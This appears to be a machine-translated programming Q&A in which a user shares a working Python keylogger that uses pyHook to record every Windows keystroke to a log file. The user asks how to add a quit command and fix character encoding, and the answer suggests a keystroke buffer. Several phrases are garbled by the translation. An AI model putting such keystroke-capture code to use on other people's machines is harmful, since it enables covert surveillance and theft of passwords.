2010-08-09 3 views
0

Я пишу свой собственный простой регистратор ключей на основе сценария, который я нашел в Интернете. Тем не менее, я пытаюсь написать ключевую команду, чтобы программа регистрации закрывалась при вводе этой команды. Как мне это сделать? (Также я знаю, что это небезопасно, однако это не касается этой программы)Создание команды ключа в Python

Например, Ctrl + 'exit' закроет программу.

Также он иногда не печатает определенный символ должным образом в файле .log, который он создает, что может быть причиной этого? (Я думаю, что характер типа encouding может быть causeing этой проблемы)

#Key Logger 
#By: K.B. Carte 
#Version 1.0 
################ 

import pythoncom, pyHook, sys, logging, time 


LOG_FILENAME = 'C:\KeyLog\log.out' 



def OnKeyboardEvent(event): 
    keytime = time.strftime('%I:%M %S %p  %A %B %d, %Y   ') 
    logging.basicConfig(filename=LOG_FILENAME, 
         level=logging.DEBUG, 
         format='%(message)s') 

    logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'") 
    return True 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

Это в Windows 7, BTW.

ответ

0

Чтобы получить его, чтобы закрыть через определенные команды, скажем, «бросить курить» ... вы хотите создать буфер .... если вы все держать при входе в буфере, вы можете легко сделать

buff += newkeypress 
if "quit" in buff[-4:]: 
    logfile.close() 
    sys.exit(0) 

или вы можете сделать что-то вроде дописывания/поп со списком .. или какой-либо другой тип кольцевого буфера

для напуганных персонажей, вы можете закончить желание просто напечатать все это в шестнадцатеричном .. или игнорирование события меньше, чем ascii 0 (например, \ b и другие фанки)

Или .. make таблицу ascii (словарь) и зарегистрировать совпадение для ключа, поэтому, если вы получите \ b, вы запишите '', и если вы получите '0', вы запишите '0'

+0

Как мне сделать это Ctrl, а затем введите «quit «? – rectangletangle

+1

попробуйте это? http://www.daniweb.com/code/snippet216830.html – pyInTheSky

Смежные вопросы